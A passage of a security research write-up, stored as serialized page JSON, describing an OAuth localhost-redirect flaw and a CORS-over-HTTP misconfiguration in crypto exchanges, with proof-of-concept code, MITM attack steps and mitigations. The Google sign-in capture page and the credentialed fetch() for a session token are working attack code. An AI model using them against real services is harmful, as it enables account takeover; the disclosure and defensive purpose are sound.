hildren":100421},{"style":107},[100422],{"type":29,"value":558},{"type":24,"tag":83,"props":100424,"children":100425},{"style":187},[100426],{"type":29,"value":70288},{"type":24,"tag":83,"props":100428,"children":100429},{"style":107},[100430],{"type":29,"value":568},{"type":24,"tag":83,"props":100432,"children":100433},{"style":187},[100434],{"type":29,"value":70297},{"type":24,"tag":83,"props":100436,"children":100437},{"style":107},[100438],{"type":29,"value":2905},{"type":24,"tag":83,"props":100440,"children":100441},{"class":85,"line":270},[100442,100446,100450,100454,100458],{"type":24,"tag":83,"props":100443,"children":100444},{"style":107},[100445],{"type":29,"value":70309},{"type":24,"tag":83,"props":100447,"children":100448},{"style":90},[100449],{"type":29,"value":1295},{"type":24,"tag":83,"props":100451,"children":100452},{"style":107},[100453],{"type":29,"value":70318},{"type":24,"tag":83,"props":100455,"children":100456},{"style":3163},[100457],{"type":29,"value":70323},{"type":24,"tag":83,"props":100459,"children":100460},{"style":107},[100461],{"type":29,"value":253},{"type":24,"tag":83,"props":100463,"children":100464},{"class":85,"line":302},[100465,100469,100473,100477,100481,100485,100489,100493,100497,100501,100505],{"type":24,"tag":83,"props":100466,"children":100467},{"style":107},[100468],{"type":29,"value":70274},{"type":24,"tag":83,"props":100470,"children":100471},{"style":101},[100472],{"type":29,"value":51169},{"type":24,"tag":83,"props":100474,"children":100475},{"style":107},[100476],{"type":29,"value":558},{"type":24,"tag":83,"props":100478,"children":100479},{"style":187},[100480],{"type":29,"value":70288},{"type":24,"tag":83,"props":100482,"children":100483},{"style":107},[100484],{"type":29,"value":568},{"type":24,"tag":83,"props":100486,"children":100487},{"style":187},[100488],{"type":29,"value":70355},{"type":24,"tag":83,"props":100490,"children":100491},{"style":90},[100492],{"type":29,"value":33845},{"type":24,"tag":83,"props":100494,"children":100495},{"style":143},[100496],{"type":29,"value":70364},{"type":24,"tag":83,"props":100498,"children":100499},{"style":90},[100500],{"type":29,"value":33877},{"type":24,"tag":83,"props":100502,"children":100503},{"style":187},[100504],{"type":29,"value":19800},{"type":24,"tag":83,"props":100506,"children":100507},{"style":107},[100508],{"type":29,"value":70377},{"type":24,"tag":83,"props":100510,"children":100511},{"class":85,"line":324},[100512],{"type":24,"tag":83,"props":100513,"children":100514},{"style":107},[100515],{"type":29,"value":58599},{"type":24,"tag":83,"props":100517,"children":100518},{"class":85,"line":345},[100519],{"type":24,"tag":83,"props":100520,"children":100521},{"style":107},[100522],{"type":29,"value":3092},{"type":24,"tag":83,"props":100524,"children":100525},{"class":85,"line":358},[100526],{"type":24,"tag":83,"props":100527,"children":100528},{"emptyLinePlaceholder":16},[100529],{"type":29,"value":3422},{"type":24,"tag":83,"props":100531,"children":100532},{"class":85,"line":367},[100533,100537,100541,100545,100549,100553,100557,100561,100566],{"type":24,"tag":83,"props":100534,"children":100535},{"style":90},[100536],{"type":29,"value":70414},{"type":24,"tag":83,"props":100538,"children":100539},{"style":107},[100540],{"type":29,"value":70440},{"type":24,"tag":83,"props":100542,"children":100543},{"style":143},[100544],{"type":29,"value":1275},{"type":24,"tag":83,"props":100546,"children":100547},{"style":101},[100548],{"type":29,"value":70449},{"type":24,"tag":83,"props":100550,"children":100551},{"style":107},[100552],{"type":29,"value":70454},{"type":24,"tag":83,"props":100554,"children":100555},{"style":101},[100556],{"type":29,"value":38929},{"type":24,"tag":83,"props":100558,"children":100559},{"style":107},[100560],{"type":29,"value":558},{"type":24,"tag":83,"props":100562,"children":100563},{"style":187},[100564],{"type":29,"value":100565},"\"http://localhost:3000\"",{"type":24,"tag":83,"props":100567,"children":100568},{"style":107},[100569],{"type":29,"value":19452},{"type":24,"tag":83,"props":100571,"children":100572},{"class":85,"line":406},[100573,100577],{"type":24,"tag":83,"props":100574,"children":100575},{"style":101},[100576],{"type":29,"value":70471},{"type":24,"tag":83,"props":100578,"children":100579},{"style":107},[100580],{"type":29,"value":70476},{"type":24,"tag":83,"props":100582,"children":100583},{"class":85,"line":427},[100584],{"type":24,"tag":83,"props":100585,"children":100586},{"style":107},[100587],{"type":29,"value":446},{"type":24,"tag":83,"props":100589,"children":100590},{"class":85,"line":440},[100591],{"type":24,"tag":83,"props":100592,"children":100593},{"emptyLinePlaceholder":16},[100594],{"type":29,"value":3422},{"type":24,"tag":83,"props":100596,"children":100597},{"class":85,"line":449},[100598,100602,100606,100610],{"type":24,"tag":83,"props":100599,"children":100600},{"style":90},[100601],{"type":29,"value":70498},{"type":24,"tag":83,"props":100603,"children":100604},{"style":90},[100605],{"type":29,"value":5953},{"type":24,"tag":83,"props":100607,"children":100608},{"style":101},[100609],{"type":29,"value":70507},{"type":24,"tag":83,"props":100611,"children":100612},{"style":107},[100613],{"type":29,"value":110},{"type":24,"tag":83,"props":100615,"children":100616},{"class":85,"line":458},[100617,100621,100625,100629,100633],{"type":24,"tag":83,"props":100618,"children":100619},{"style":101},[100620],{"type":29,"value":70519},{"type":24,"tag":83,"props":100622,"children":100623},{"style":107},[100624],{"type":29,"value":70524},{"type":24,"tag":83,"props":100626,"children":100627},{"style":143},[100628],{"type":29,"value":1275},{"type":24,"tag":83,"props":100630,"children":100631},{"style":245},[100632],{"type":29,"value":70533},{"type":24,"tag":83,"props":100634,"children":100635},{"style":107},[100636],{"type":29,"value":253},{"type":24,"tag":83,"props":100638,"children":100639},{"class":85,"line":1065},[100640,100644],{"type":24,"tag":83,"props":100641,"children":100642},{"style":101},[100643],{"type":29,"value":70545},{"type":24,"tag":83,"props":100645,"children":100646},{"style":107},[100647],{"type":29,"value":125},{"type":24,"tag":83,"props":100649,"children":100650},{"class":85,"line":1668},[100651,100655,100659,100663],{"type":24,"tag":83,"props":100652,"children":100653},{"style":90},[100654],{"type":29,"value":70557},{"type":24,"tag":83,"props":100656,"children":100657},{"style":107},[100658],{"type":29,"value":558},{"type":24,"tag":83,"props":100660,"children":100661},{"style":187},[100662],{"type":29,"value":70566},{"type":24,"tag":83,"props":100664,"children":100665},{"style":107},[100666],{"type":29,"value":253},{"type":24,"tag":83,"props":100668,"children":100669},{"class":85,"line":1713},[100670,100674,100678],{"type":24,"tag":83,"props":100671,"children":100672},{"style":107},[100673],{"type":29,"value":70578},{"type":24,"tag":83,"props":100675,"children":100676},{"style":101},[100677],{"type":29,"value":70583},{"type":24,"tag":83,"props":100679,"children":100680},{"style":107},[100681],{"type":29,"value":125},{"type":24,"tag":83,"props":100683,"children":100684},{"class":85,"line":1730},[100685,100689],{"type":24,"tag":83,"props":100686,"children":100687},{"style":101},[100688],{"type":29,"value":70595},{"type":24,"tag":83,"props":100690,"children":100691},{"style":107},[100692],{"type":29,"value":125},{"type":24,"tag":83,"props":100694,"children":100695},{"class":85,"line":1770},[100696,100700,100704,100709],{"type":24,"tag":83,"props":100697,"children":100698},{"style":101},[100699],{"type":29,"value":70672},{"type":24,"tag":83,"props":100701,"children":100702},{"style":107},[100703],{"type":29,"value":558},{"type":24,"tag":83,"props":100705,"children":100706},{"style":187},[100707],{"type":29,"value":100708},"\"Test\"",{"type":24,"tag":83,"props":100710,"children":100711},{"style":107},[100712],{"type":29,"value":2905},{"type":24,"tag":83,"props":100714,"children":100715},{"class":85,"line":1778},[100716,100720],{"type":24,"tag":83,"props":100717,"children":100718},{"style":101},[100719],{"type":29,"value":70738},{"type":24,"tag":83,"props":100721,"children":100722},{"style":107},[100723],{"type":29,"value":125},{"type":24,"tag":83,"props":100725,"children":100726},{"class":85,"line":1803},[100727,100732,100736],{"type":24,"tag":83,"props":100728,"children":100729},{"style":107},[100730],{"type":29,"value":100731},"                                src ",{"type":24,"tag":83,"props":100733,"children":100734},{"style":143},[100735],{"type":29,"value":1275},{"type":24,"tag":83,"props":100737,"children":100738},{"style":187},[100739],{"type":29,"value":100740}," \"https://accounts.google.com/gsi/client\"\n",{"type":24,"tag":83,"props":100742,"children":100743},{"class":85,"line":1811},[100744,100749,100754,100758,100762],{"type":24,"tag":83,"props":100745,"children":100746},{"style":107},[100747],{"type":29,"value":100748},"                                attributes[",{"type":24,"tag":83,"props":100750,"children":100751},{"style":187},[100752],{"type":29,"value":100753},"\"async\"",{"type":24,"tag":83,"props":100755,"children":100756},{"style":107},[100757],{"type":29,"value":1270},{"type":24,"tag":83,"props":100759,"children":100760},{"style":143},[100761],{"type":29,"value":1275},{"type":24,"tag":83,"props":100763,"children":100764},{"style":187},[100765],{"type":29,"value":100766}," \"\"\n",{"type":24,"tag":83,"props":100768,"children":100769},{"class":85,"line":8792},[100770,100774,100779,100783,100787],{"type":24,"tag":83,"props":100771,"children":100772},{"style":107},[100773],{"type":29,"value":100748},{"type":24,"tag":83,"props":100775,"children":100776},{"style":187},[100777],{"type":29,"value":100778},"\"defer\"",{"type":24,"tag":83,"props":100780,"children":100781},{"style":107},[100782],{"type":29,"value":1270},{"type":24,"tag":83,"props":100784,"children":100785},{"style":143},[100786],{"type":29,"value":1275},{"type":24,"tag":83,"props":100788,"children":100789},{"style":187},[100790],{"type":29,"value":100766},{"type":24,"tag":83,"props":100792,"children":100793},{"class":85,"line":8810},[100794],{"type":24,"tag":83,"props":100795,"children":100796},{"style":107},[100797],{"type":29,"value":70763},{"type":24,"tag":83,"props":100799,"children":100800},{"class":85,"line":8855},[100801,100805],{"type":24,"tag":83,"props":100802,"children":100803},{"style":101},[100804],{"type":29,"value":70738},{"type":24,"tag":83,"props":100806,"children":100807},{"style":107},[100808],{"type":29,"value":125},{"type":24,"tag":83,"props":100810,"children":100811},{"class":85,"line":8961},[100812,100817],{"type":24,"tag":83,"props":100813,"children":100814},{"style":101},[100815],{"type":29,"value":100816},"                                unsafe",{"type":24,"tag":83,"props":100818,"children":100819},{"style":107},[100820],{"type":29,"value":125},{"type":24,"tag":83,"props":100822,"children":100823},{"class":85,"line":23248},[100824,100829],{"type":24,"tag":83,"props":100825,"children":100826},{"style":143},[100827],{"type":29,"value":100828},"                                    +",{"type":24,"tag":83,"props":100830,"children":100831},{"style":187},[100832],{"type":29,"value":100833},"\"\"\"\n",{"type":24,"tag":83,"props":100835,"children":100836},{"class":85,"line":23283},[100837],{"type":24,"tag":83,"props":100838,"children":100839},{"style":187},[100840],{"type":29,"value":100841},"    function handleCredentialResponse(response) {\n",{"type":24,"tag":83,"props":100843,"children":100844},{"class":85,"line":23291},[100845],{"type":24,"tag":83,"props":100846,"children":100847},{"style":187},[100848],{"type":29,"value":100849},"      alert(\"credential: \" + response.credential);\n",{"type":24,"tag":83,"props":100851,"children":100852},{"class":85,"line":23299},[100853],{"type":24,"tag":83,"props":100854,"children":100855},{"style":187},[100856],{"type":29,"value":446},{"type":24,"tag":83,"props":100858,"children":100859},{"class":85,"line":23308},[100860],{"type":24,"tag":83,"props":100861,"children":100862},{"emptyLinePlaceholder":16},[100863],{"type":29,"value":3422},{"type":24,"tag":83,"props":100865,"children":100866},{"class":85,"line":23350},[100867],{"type":24,"tag":83,"props":100868,"children":100869},{"style":187},[100870],{"type":29,"value":100871},"    window.onload = async function () {\n",{"type":24,"tag":83,"props":100873,"children":100874},{"class":85,"line":23383},[100875],{"type":24,"tag":83,"props":100876,"children":100877},{"style":187},[100878],{"type":29,"value":100879},"      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":24,"tag":83,"props":100881,"children":100882},{"class":85,"line":23391},[100883],{"type":24,"tag":83,"props":100884,"children":100885},{"style":187},[100886],{"type":29,"value":100887},"      const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":24,"tag":83,"props":100889,"children":100890},{"class":85,"line":23399},[100891],{"type":24,"tag":83,"props":100892,"children":100893},{"style":187},[100894],{"type":29,"value":100895},"      google.accounts.id.initialize({\n",{"type":24,"tag":83,"props":100897,"children":100898},{"class":85,"line":23408},[100899],{"type":24,"tag":83,"props":100900,"children":100901},{"style":187},[100902],{"type":29,"value":100903},"        client_id: client_id,\n",{"type":24,"tag":83,"props":100905,"children":100906},{"class":85,"line":23484},[100907],{"type":24,"tag":83,"props":100908,"children":100909},{"style":187},[100910],{"type":29,"value":100911},"        callback: handleCredentialResponse,\n",{"type":24,"tag":83,"props":100913,"children":100914},{"class":85,"line":23517},[100915],{"type":24,"tag":83,"props":100916,"children":100917},{"style":187},[100918],{"type":29,"value":100919},"        auto_select: true\n",{"type":24,"tag":83,"props":100921,"children":100922},{"class":85,"line":23525},[100923],{"type":24,"tag":83,"props":100924,"children":100925},{"style":187},[100926],{"type":29,"value":7043},{"type":24,"tag":83,"props":100928,"children":100929},{"class":85,"line":23533},[100930],{"type":24,"tag":83,"props":100931,"children":100932},{"emptyLinePlaceholder":16},[100933],{"type":29,"value":3422},{"type":24,"tag":83,"props":100935,"children":100936},{"class":85,"line":23570},[100937],{"type":24,"tag":83,"props":100938,"children":100939},{"style":187},[100940],{"type":29,"value":100941},"      google.accounts.id.renderButton(\n",{"type":24,"tag":83,"props":100943,"children":100944},{"class":85,"line":23583},[100945],{"type":24,"tag":83,"props":100946,"children":100947},{"style":187},[100948],{"type":29,"value":100949},"        document.getElementById(\"g_id_signin\"),\n",{"type":24,"tag":83,"props":100951,"children":100952},{"class":85,"line":23596},[100953],{"type":24,"tag":83,"props":100954,"children":100955},{"style":187},[100956],{"type":29,"value":100957},"        { theme: \"outline\", size: \"large\" }\n",{"type":24,"tag":83,"props":100959,"children":100960},{"class":85,"line":23609},[100961],{"type":24,"tag":83,"props":100962,"children":100963},{"style":187},[100964],{"type":29,"value":6513},{"type":24,"tag":83,"props":100966,"children":100967},{"class":85,"line":23663},[100968],{"type":24,"tag":83,"props":100969,"children":100970},{"emptyLinePlaceholder":16},[100971],{"type":29,"value":3422},{"type":24,"tag":83,"props":100973,"children":100974},{"class":85,"line":23672},[100975],{"type":24,"tag":83,"props":100976,"children":100977},{"style":187},[100978],{"type":29,"value":100979},"      google.accounts.id.prompt();\n",{"type":24,"tag":83,"props":100981,"children":100982},{"class":85,"line":32019},[100983],{"type":24,"tag":83,"props":100984,"children":100985},{"style":187},[100986],{"type":29,"value":38715},{"type":24,"tag":83,"props":100988,"children":100989},{"class":85,"line":32040},[100990,100995,100999,101004],{"type":24,"tag":83,"props":100991,"children":100992},{"style":187},[100993],{"type":29,"value":100994},"                                    \"\"\"",{"type":24,"tag":83,"props":100996,"children":100997},{"style":107},[100998],{"type":29,"value":161},{"type":24,"tag":83,"props":101000,"children":101001},{"style":101},[101002],{"type":29,"value":101003},"trimIndent",{"type":24,"tag":83,"props":101005,"children":101006},{"style":107},[101007],{"type":29,"value":7483},{"type":24,"tag":83,"props":101009,"children":101010},{"class":85,"line":80665},[101011],{"type":24,"tag":83,"props":101012,"children":101013},{"style":107},[101014],{"type":29,"value":101015},"                                }\n",{"type":24,"tag":83,"props":101017,"children":101018},{"class":85,"line":80678},[101019],{"type":24,"tag":83,"props":101020,"children":101021},{"style":107},[101022],{"type":29,"value":70763},{"type":24,"tag":83,"props":101024,"children":101025},{"class":85,"line":80686},[101026],{"type":24,"tag":83,"props":101027,"children":101028},{"style":107},[101029],{"type":29,"value":70693},{"type":24,"tag":83,"props":101031,"children":101032},{"class":85,"line":80694},[101033,101037],{"type":24,"tag":83,"props":101034,"children":101035},{"style":101},[101036],{"type":29,"value":70701},{"type":24,"tag":83,"props":101038,"children":101039},{"style":107},[101040],{"type":29,"value":125},{"type":24,"tag":83,"props":101042,"children":101043},{"class":85,"line":80702},[101044,101048,101052,101056,101061],{"type":24,"tag":83,"props":101045,"children":101046},{"style":101},[101047],{"type":29,"value":70713},{"type":24,"tag":83,"props":101049,"children":101050},{"style":107},[101051],{"type":29,"value":9333},{"type":24,"tag":83,"props":101053,"children":101054},{"style":143},[101055],{"type":29,"value":4126},{"type":24,"tag":83,"props":101057,"children":101058},{"style":187},[101059],{"type":29,"value":101060},"\"Login here:\"",{"type":24,"tag":83,"props":101062,"children":101063},{"style":107},[101064],{"type":29,"value":9342},{"type":24,"tag":83,"props":101066,"children":101067},{"class":85,"line":80742},[101068,101073],{"type":24,"tag":83,"props":101069,"children":101070},{"style":101},[101071],{"type":29,"value":101072},"                            div",{"type":24,"tag":83,"props":101074,"children":101075},{"style":107},[101076],{"type":29,"value":125},{"type":24,"tag":83,"props":101078,"children":101079},{"class":85,"line":80750},[101080,101085,101089],{"type":24,"tag":83,"props":101081,"children":101082},{"style":107},[101083],{"type":29,"value":101084},"                                id ",{"type":24,"tag":83,"props":101086,"children":101087},{"style":143},[101088],{"type":29,"value":1275},{"type":24,"tag":83,"props":101090,"children":101091},{"style":187},[101092],{"type":29,"value":101093}," \"g_id_signin\"\n",{"type":24,"tag":83,"props":101095,"children":101096},{"class":85,"line":87936},[101097],{"type":24,"tag":83,"props":101098,"children":101099},{"style":107},[101100],{"type":29,"value":70763},{"type":24,"tag":83,"props":101102,"children":101103},{"class":85,"line":87944},[101104],{"type":24,"tag":83,"props":101105,"children":101106},{"style":107},[101107],{"type":29,"value":70693},{"type":24,"tag":83,"props":101109,"children":101111},{"class":85,"line":101110},62,[101112],{"type":24,"tag":83,"props":101113,"children":101114},{"style":107},[101115],{"type":29,"value":70778},{"type":24,"tag":83,"props":101117,"children":101119},{"class":85,"line":101118},63,[101120],{"type":24,"tag":83,"props":101121,"children":101122},{"style":107},[101123],{"type":29,"value":70786},{"type":24,"tag":83,"props":101125,"children":101127},{"class":85,"line":101126},64,[101128],{"type":24,"tag":83,"props":101129,"children":101130},{"style":107},[101131],{"type":29,"value":58599},{"type":24,"tag":83,"props":101133,"children":101135},{"class":85,"line":101134},65,[101136,101140,101144,101148,101152,101156],{"type":24,"tag":83,"props":101137,"children":101138},{"style":107},[101139],{"type":29,"value":70801},{"type":24,"tag":83,"props":101141,"children":101142},{"style":101},[101143],{"type":29,"value":70806},{"type":24,"tag":83,"props":101145,"children":101146},{"style":107},[101147],{"type":29,"value":70811},{"type":24,"tag":83,"props":101149,"children":101150},{"style":143},[101151],{"type":29,"value":1275},{"type":24,"tag":83,"props":101153,"children":101154},{"style":90},[101155],{"type":29,"value":12215},{"type":24,"tag":83,"props":101157,"children":101158},{"style":107},[101159],{"type":29,"value":2905},{"type":24,"tag":83,"props":101161,"children":101163},{"class":85,"line":101162},66,[101164],{"type":24,"tag":83,"props":101165,"children":101166},{"style":107},[101167],{"type":29,"value":446},{"type":24,"tag":25,"props":101169,"children":101170},{},[101171],{"type":29,"value":101172},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":24,"tag":25,"props":101174,"children":101175},{},[101176],{"type":29,"value":101177},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":24,"tag":1818,"props":101179,"children":101181},{"id":101180},"how-to-mitigate",[101182],{"type":29,"value":101183},"How to Mitigate",{"type":24,"tag":25,"props":101185,"children":101186},{},[101187],{"type":29,"value":101188},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":24,"tag":51,"props":101190,"children":101192},{"id":101191},"exploiting-cors",[101193],{"type":29,"value":101194},"Exploiting CORS",{"type":24,"tag":25,"props":101196,"children":101197},{},[101198],{"type":29,"value":101199},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":24,"tag":25,"props":101201,"children":101202},{},[101203,101205,101211],{"type":29,"value":101204},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":24,"tag":32,"props":101206,"children":101208},{"className":101207},[],[101209],{"type":29,"value":101210},"http://",{"type":29,"value":101212}," schema for any subdomain:",{"type":24,"tag":73,"props":101214,"children":101218},{"className":101215,"code":101216,"language":101217,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[101219],{"type":24,"tag":32,"props":101220,"children":101221},{"__ignoreMap":7},[101222,101230,101238,101246],{"type":24,"tag":83,"props":101223,"children":101224},{"class":85,"line":86},[101225],{"type":24,"tag":83,"props":101226,"children":101227},{},[101228],{"type":29,"value":101229},"HTTP 200 OK\n",{"type":24,"tag":83,"props":101231,"children":101232},{"class":85,"line":113},[101233],{"type":24,"tag":83,"props":101234,"children":101235},{},[101236],{"type":29,"value":101237},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":24,"tag":83,"props":101239,"children":101240},{"class":85,"line":128},[101241],{"type":24,"tag":83,"props":101242,"children":101243},{},[101244],{"type":29,"value":101245},"Access-Control-Allow-Credentials: true\n",{"type":24,"tag":83,"props":101247,"children":101248},{"class":85,"line":183},[101249],{"type":24,"tag":83,"props":101250,"children":101251},{},[101252],{"type":29,"value":10065},{"type":24,"tag":1818,"props":101254,"children":101256},{"id":101255},"cors-misconfiguration-by-lack-of-tls",[101257],{"type":29,"value":101258},"CORS Misconfiguration by Lack of TLS",{"type":24,"tag":25,"props":101260,"children":101261},{},[101262,101264,101270],{"type":29,"value":101263},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":24,"tag":32,"props":101265,"children":101267},{"className":101266},[],[101268],{"type":29,"value":101269},"exchange.com",{"type":29,"value":101271}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":24,"tag":25,"props":101273,"children":101274},{},[101275],{"type":29,"value":101276},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":24,"tag":16422,"props":101278,"children":101279},{},[101280,101300],{"type":24,"tag":67,"props":101281,"children":101282},{},[101283,101285,101290,101292,101298],{"type":29,"value":101284},"Chrome --> won't work because cookies are not sent in ",{"type":24,"tag":32,"props":101286,"children":101288},{"className":101287},[],[101289],{"type":29,"value":101210},{"type":29,"value":101291}," --> ",{"type":24,"tag":32,"props":101293,"children":101295},{"className":101294},[],[101296],{"type":29,"value":101297},"https://",{"type":29,"value":101299}," requests, even if same-site",{"type":24,"tag":67,"props":101301,"children":101302},{},[101303,101305],{"type":29,"value":101304},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":24,"tag":32,"props":101306,"children":101308},{"className":101307},[],[101309],{"type":29,"value":37488},{"type":24,"tag":1818,"props":101311,"children":101313},{"id":101312},"exploit-1",[101314],{"type":29,"value":99644},{"type":24,"tag":25,"props":101316,"children":101317},{},[101318],{"type":29,"value":101319},"To exploit it, we must follow some steps:",{"type":24,"tag":63,"props":101321,"children":101322},{},[101323,101328,101333],{"type":24,"tag":67,"props":101324,"children":101325},{},[101326],{"type":29,"value":101327},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":24,"tag":67,"props":101329,"children":101330},{},[101331],{"type":29,"value":101332},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":24,"tag":67,"props":101334,"children":101335},{},[101336,101338,101343],{"type":29,"value":101337},"Use ",{"type":24,"tag":32,"props":101339,"children":101341},{"className":101340},[],[101342],{"type":29,"value":37488},{"type":29,"value":101344}," with CORS to do something malicious using the victim's account",{"type":24,"tag":25,"props":101346,"children":101347},{},[101348],{"type":29,"value":101349},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":24,"tag":25,"props":101351,"children":101352},{},[101353,101355,101360],{"type":29,"value":101354},"Once the redirect to the ",{"type":24,"tag":32,"props":101356,"children":101358},{"className":101357},[],[101359],{"type":29,"value":101210},{"type":29,"value":101361}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":24,"tag":73,"props":101363,"children":101365},{"className":77,"code":101364,"language":76,"meta":7,"style":7},"(async () => {\n  let res = await fetch('https://www.exchange.com/api/session_token', {\n    credentials: 'include',\n    method: 'POST',\n  });\n  console.log(await res.json());\n})();\n",[101366],{"type":24,"tag":32,"props":101367,"children":101368},{"__ignoreMap":7},[101369,101392,101429,101446,101463,101470,101511],{"type":24,"tag":83,"props":101370,"children":101371},{"class":85,"line":86},[101372,101376,101380,101384,101388],{"type":24,"tag":83,"props":101373,"children":101374},{"style":107},[101375],{"type":29,"value":558},{"type":24,"tag":83,"props":101377,"children":101378},{"style":90},[101379],{"type":29,"value":93},{"type":24,"tag":83,"props":101381,"children":101382},{"style":107},[101383],{"type":29,"value":39412},{"type":24,"tag":83,"props":101385,"children":101386},{"style":90},[101387],{"type":29,"value":14564},{"type":24,"tag":83,"props":101389,"children":101390},{"style":107},[101391],{"type":29,"value":125},{"type":24,"tag":83,"props":101393,"children":101394},{"class":85,"line":113},[101395,101399,101404,101408,101412,101416,101420,101425],{"type":24,"tag":83,"props":101396,"children":101397},{"style":90},[101398],{"type":29,"value":655},{"type":24,"tag":83,"props":101400,"children":101401},{"style":137},[101402],{"type":29,"value":101403}," res",{"type":24,"tag":83,"props":101405,"children":101406},{"style":143},[101407],{"type":29,"value":146},{"type":24,"tag":83,"props":101409,"children":101410},{"style":117},[101411],{"type":29,"value":151},{"type":24,"tag":83,"props":101413,"children":101414},{"style":101},[101415],{"type":29,"value":32668},{"type":24,"tag":83,"props":101417,"children":101418},{"style":107},[101419],{"type":29,"value":558},{"type":24,"tag":83,"props":101421,"children":101422},{"style":187},[101423],{"type":29,"value":101424},"'https://www.exchange.com/api/session_token'",{"type":24,"tag":83,"props":101426,"children":101427},{"style":107},[101428],{"type":29,"value":963},{"type":24,"tag":83,"props":101430,"children":101431},{"class":85,"line":128},[101432,101437,101442],{"type":24,"tag":83,"props":101433,"children":101434},{"style":137},[101435],{"type":29,"value":101436},"    credentials:",{"type":24,"tag":83,"props":101438,"children":101439},{"style":187},[101440],{"type":29,"value":101441}," 'include'",{"type":24,"tag":83,"props":101443,"children":101444},{"style":107},[101445],{"type":29,"value":989},{"type":24,"tag":83,"props":101447,"children":101448},{"class":85,"line":183},[101449,101454,101459],{"type":24,"tag":83,"props":101450,"children":101451},{"style":137},[101452],{"type":29,"value":101453},"    method:",{"type":24,"tag":83,"props":101455,"children":101456},{"style":187},[101457],{"type":29,"value":101458}," 'POST'",{"type":24,"tag":83,"props":101460,"children":101461},{"style":107},[101462],{"type":29,"value":989},{"type":24,"tag":83,"props":101464,"children":101465},{"class":85,"line":203},[101466],{"type":24,"tag":83,"props":101467,"children":101468},{"style":107},[101469],{"type":29,"value":1046},{"type":24,"tag":83,"props":101471,"children":101472},{"class":85,"line":212},[101473,101478,101482,101487,101491,101495,101499,101503,101507],{"type":24,"tag":83,"props":101474,"children":101475},{"style":137},[101476],{"type":29,"value":101477},"  console",{"type":24,"tag":83,"props":101479,"children":101480},{"style":107},[101481],{"type":29,"value":161},{"type":24,"tag":83,"props":101483,"children":101484},{"style":101},[101485],{"type":29,"value":101486},"log",{"type":24,"tag":83,"props":101488,"children":101489},{"style":107},[101490],{"type":29,"value":558},{"type":24,"tag":83,"props":101492,"children":101493},{"style":117},[101494],{"type":29,"value":32655},{"type":24,"tag":83,"props":101496,"children":101497},{"style":137},[101498],{"type":29,"value":101403},{"type":24,"tag":83,"props":101500,"children":101501},{"style":107},[101502],{"type":29,"value":161},{"type":24,"tag":83,"props":101504,"children":101505},{"style":101},[101506],{"type":29,"value":743},{"type":24,"tag":83,"props":101508,"children":101509},{"style":107},[101510],{"type":29,"value":15164},{"type":24,"tag":83,"props":101512,"children":101513},{"class":85,"line":256},[101514],{"type":24,"tag":83,"props":101515,"children":101516},{"style":107},[101517],{"type":29,"value":101518},"})();\n",{"type":24,"tag":25,"props":101520,"children":101521},{},[101522],{"type":29,"value":101523},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":24,"tag":1818,"props":101525,"children":101526},{"id":40049},[101527],{"type":29,"value":40052},{"type":24,"tag":25,"props":101529,"children":101530},{},[101531,101533,101538],{"type":29,"value":101532},"As mitigation, it is recommended to remove all ",{"type":24,"tag":32,"props":101534,"children":101536},{"className":101535},[],[101537],{"type":29,"value":101210},{"type":29,"value":101539}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":24,"tag":25,"props":101541,"children":101542},{},[101543],{"type":29,"value":101544},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":24,"tag":51,"props":101546,"children":101547},{"id":28683},[101548],{"type":29,"value":18686},{"type":24,"tag":25,"props":101550,"children":101551},{},[101552],{"type":29,"value":101553},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming 